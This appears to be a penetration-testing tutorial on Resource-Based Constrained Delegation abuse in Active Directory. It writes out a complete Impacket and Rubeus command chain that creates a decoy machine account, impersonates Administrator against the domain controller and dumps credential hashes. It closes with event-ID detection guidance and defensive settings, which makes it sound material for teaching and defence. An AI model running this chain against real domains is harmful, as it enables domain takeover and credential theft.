RBCD (Resource-Based Constrained Delegation)

Resource-Based Constrained Delegation (RBCD) is a Kerberos delegation flavour where the target resource (a computer, a service) decides which accounts may impersonate users against it. That allow-list lives in the target object's msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

The abuse shows up when we control that attribute on a computer (for example through GenericAll over the Domain Controller object). If we can write it, we add an account we control to the list and the KDC will let us request service tickets on behalf of any user, including Administrator, via S4U2Self + S4U2Proxy. The usual flow:

# 1) create a machine account we control (any user can, x10, via MachineAccountQuota)
addcomputer.py <domain>/<user>:<pass> -computer-name 'EVIL$' -computer-pass 'Evil123'

# 2) write that machine's SID into the target computer's attribute
rbcd.py <domain>/<user>:<pass> -delegate-to 'DC$' -delegate-from 'EVIL$' -action write

# 3) request a TGS impersonating a privileged user (S4U2Self + S4U2Proxy)
getST.py -spn cifs/<dc.domain> -impersonate Administrator '<domain>/EVIL$:Evil123'

# 4) use the ticket against the service
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <dc.domain>

The same chain on Windows with Powermad, PowerView and Rubeus:

New-MachineAccount -MachineAccount EVIL -Password (ConvertTo-SecureString 'Evil123' -AsPlainText -Force)
Set-ADComputer <target> -PrincipalsAllowedToDelegateToAccount EVIL$
Rubeus.exe hash /password:Evil123 /user:EVIL$ /domain:<domain>
Rubeus.exe s4u /user:EVIL$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/<dc.domain> /ptt

Verification. rbcd.py -action read confirms our machine ended up in the delegation list before we request the ticket; and the secretsdump -k that dumps hashes is the proof the impersonation worked end to end.

Nuance. RBCD needs write access over the target's attribute (reading it is not enough) and an account with an SPN to impersonate: that is why we create a machine account, which ships with an SPN. It depends on being able to create that computer: if ms-DS-MachineAccountQuota is 0, you must use an existing machine account you control. It is a stealthier alternative to resetting passwords, because it breaks nobody's access.

How to detect it. The RBCD chain leaves three linked traces on the DC. Creating the decoy machine account generates an Event ID 4741 (a computer account was created) from a normal user, something very rare outside a provisioning server. Writing the delegation attribute generates a 5136 (a directory service object was modified) on msDS-AllowedToActOnBehalfOfOtherIdentity, one of the attributes most worth watching. And the final S4U2Proxy shows up as 4769 (TGS request) with the Transited Services field populated, an unmistakable sign of delegation. The correlation 4741 → 5136 on the attribute → 4769 with transit, all from the same low-privilege actor, is a very clean signature.

Defence. Restrict who can write msDS-AllowedToActOnBehalfOfOtherIdentity and set MachineAccountQuota to 0 so normal users can't create computers, which is what cuts the vector at the root.